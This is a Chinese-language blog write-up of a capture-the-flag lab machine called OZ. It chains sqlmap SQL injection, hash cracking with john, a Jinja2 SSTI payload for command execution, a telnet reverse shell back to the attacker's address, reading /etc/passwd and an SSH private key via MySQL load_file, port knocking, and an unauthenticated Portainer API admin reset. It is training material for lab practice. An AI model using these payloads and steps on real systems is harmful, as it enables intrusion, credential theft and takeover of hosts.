OZ打靶记录

主机探测

ip为192.168.31.94 端口扫描

访问页面,一个显示需要注册用户,一个是有登录框

url中随便跟个目录,发现会返回随机字符串,没看出来字符串有什么规律,也不是某种加密

扫目录发现很多200的页面,因为都会返回随机字符串而不是报错,这样看来扫目录没有多少有效信息。不过还是发现了一个users

访问users

SQL注入->密码

在其后面拼接admin,会返回json格式的数据

拼接其他的会返回空

引入单引号,发现报错,考虑测试sql注入

爆破数据库

1
sqlmap -u "http://192.168.31.94/users/" --dbs --batch

爆破表名

1
sqlmap -u "http://192.168.31.94/users/" --dbs -D ozdb --tables --batch

爆破字段名

1
sqlmap -u "http://192.168.31.94/users/" --dbs -D ozdb -T users_gbw --columns --batch

爆内容

1
sqlmap -u "http://192.168.31.94/users/" --dbs -D ozdb -T users_gbw -C id,username,password --dump --batch

得到账号和密码

  • 算法:使用PBKDF2密钥派生函数, 并使用SHA-256哈希算法
  • 迭代次数:5000
  • 盐值:用第一行举例,Salt Value为aA3h3LvXOseYk3IupVQKgQ,哈希为ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78

将密码hash保存下来,用john进行破解

1
john pass.txt --wordlist=/usr/share/wordlists/rockyou.txt

得到密码wizard.oz/wizardofoz22,登录 点击看Description

这里提供了一个线索,ssh私钥存放在/home/dorthi/,并且ssh端口可能被knocked技术隐藏。

尝试利用sqlmap去读文件

1
sqlmap -u "http://192.168.31.94/users/" --file-read="/home/dorthi/.ssh/id_rsa"

但是失败

SSTI->反弹shell

添加新的内容,抓包分析

在此处测试出存在SSTI漏洞

尝试构造rce的payload

1
name=1111&desc={{[].__class__.__base__.__subclasses__()[230]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

简单分析一下payload如何构造的:

  • 首先选择一个内置类,[]''都可以
  • 通过这个类获取到object类:__base____bases____mro__
  • 通过object类获取所有子类:__subclasses__()
  • 编写脚本在子类列表中找到可以利用的类
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import re  
  
# 将查找到的父类列表替换到data中  
data = r'''  
    [<type 'type'>, ... <class 'jinja2.ext.Extension'>, <type 'tupleiterator'>, <type 'method-wrapper'>]'''  

# 在这里添加可以利用的类
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']  
  
pattern = re.compile(r"'(.*?)'")  
class_list = re.findall(pattern, data)  
for c in class_list:  
    for i in userful_class:  
        if i in c:  
            print(str(class_list.index(c)) + ": " + c)

运行结果如图:

这里就是59和230可以用

能够成功rce

前面有提示说,ssh端口被隐藏,所以这里想到去读取文件/etc/knockd.conf,但是没有成功(后面才知道不是这个默认路径hh)

读取/etc/passwd

1
name=1111&desc={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

构造反弹shell的payload

1
name=1111&desc={{[].__class__.__base__.__subclasses__()[230]('mknod a p; telnet 192.168.31.212 55555 0<a | /bin/sh 1>a',shell=True,stdout=-1).communicate()[0].strip()}}

成功获取shell

[!PS] 这里有工具可以利用,感兴趣的话可以尝试 git clone https://github.com/epinna/tplmap.git

另外,在尝试反弹shell的时候,尝试了很多payload,最后发现把bash换成sh 就能成功了。那么如何节约这部分的尝试时间捏?(可以执行命令的情况下)

  • 查看当前shell的进程名称:ps -p $$

  • 查看当前登录shell的环境变量:echo $SHELL

  • 查看 /etc/passwd 文件来查看用户的默认 shell。每个用户在该文件中都有一行记录,其中包括用户名称和其默认 shell 的路径

升级shell为tty

将受限制的shell升级为完整的TTY(交互式shell)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# 创建新的bash shell
python -c 'import pty;pty.spawn("/bin/sh");' 

# 将上面创建的bash shell暂停并放入后台
CTRL + Z

# 将当前终端设置为raw模式,即输入的字符不会被终端处理,直接发送给后台进程;-echo是关闭回显,输入的字符不会在终端上显示出来
stty raw -echo

# 将上面放入后台的bash shell恢复到前台,继续执行
fg

# TERM环境变量是告诉shell正在使用的终端类型
# 设置`TERM=xterm-color`意味着你正在使用一个支持颜色的xterm终端。
export TERM=xterm-color

knock打开22端口->ssh登录

找到配置文件/.secret/knockd.conf,查看配置的规则

规则解读:需要在15秒内,按照40809、50212 、 46969的顺序发送 UDP 包到端口 ,触发防火墙规则的修改,打开22端口。敲门之后10秒内会开放22端口,也就是说,需要在敲门之后10秒内访问到22端口完成ssh登录。

继续寻找有用信息 发现两个Docker启动时调用的start.sh文件

1
2
#!/bin/bash
docker run -d -p 8080:8080 \ --net prodnet \ --ip 10.100.10.2 \ --name=tix-app \ -h tix-app \ -v /dev/null:/root/.ash_history:ro \ -v /dev/null:/root/.sh_history:ro \ -v /containers/database:/containers/database:ro \ -v /connect/.secret/:/.secret/:ro \ --restart=always \ tix-app

1
2
#!/bin/bash
docker run -d -v /connect/mysql:/var/lib/mysql --name ozdb \ --net prodnet --ip 10.100.10.4 \ -e MYSQL_ROOT_PASSWORD=SuP3rS3cr3tP@ss \ -e MYSQL_USER=dorthi \ -e MYSQL_PASSWORD=N0Pl4c3L1keH0me \ -e MYSQL_DATABASE=ozdb \ -v /connect/sshkeys:/home/dorthi/dev/:ro \ -v /dev/null:/root/.bash_history:ro \ -v /dev/null:/root/.ash_history:ro \ -v /dev/null:/root/.sh_history:ro \ --restart=always \ mariadb:5.5

Docker启动时调用的start.sh文件中/connect/sshkeys:/home/dorthi/dev/ 即将宿主机中的sshkeys目录映射到/home/dorthi/dev/,尝试利用 Mysql读取文件id_rsa。同时,也能知道mysql的地址

并且这里有密码和用户名,登录mysql

1
mysql -udorthi -pN0Pl4c3L1keH0me -h 10.100.10.4 -P 3306

利用mysql的load_file来读私钥文件

1
select load_file('/home/dorthi/dev/id_rsa');

这里还需要私钥文件的密码,爆破难度太大,根据前面的信息,猜的为N0Pl4c3L1keH0me

1
knock -u 192.168.31.94 40809 50212 46969 && ssh dorthi@192.168.31.94 -i id_rsa

登录dorthi之后,发现一个flag

sudo查看docker网络情况

首先sudo -l查看能免密码执行哪些root权限命令

查看docker的网络情况,这里有四种网络模式

1
sudo /usr/bin/docker network ls

依次查看每种模式的配置信息

1
sudo /usr/bin/docker network inspect prodnet

可以得知,prodnet模式下,有三种服务在运行:tix-appozdbwebapi

bridge模式下有一个服务portainer-1.11.1

端口转发访问到Portainer页面

Portainer是一个轻量级的管理UI,可帮助用户轻松地管理Docker主机或Swarm集群,默认端口是9000。

curl看了下,是有内容的

这里最开始想的是用frp做内网穿透,不过没办法传文件

于是,利用SSH的本地端口转发将Kali的9000端口映射到172.17.0.2的9000端口

1
2
3
knock -u 192.168.31.94 40809 50212 46969 && ssh -L 192.168.31.212:9000:172.17.0.2:9000 dorthi@192.168.31.94 -i id_rsa

passphrase: N0Pl4c3L1keH0me

成功访问到portainer

api未授权漏洞->重置密码

issue 493有提到这个漏洞 构造payload

1
http POST 172.17.0.2:9000/api/users/admin/init Username="admin" Password="ppt"

用自己的密码成功登录到后台

新建container挂载根目录

创建容器

进入console

前面的操作是把/挂载到/mnt,所以这里进入/mnt寻找flag

总结

1、再次练习了SSTI漏洞的利用,明白payload是如何构造的了

2、这里没办法上传frp作内网穿透,所以这里是用ssh作端口转发

3、之前一直对docker的网络情况不太清楚,这下明白了,这篇文章写的挺详细的

4、此处积累一个新的应用服务Portainer,管理集群的

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行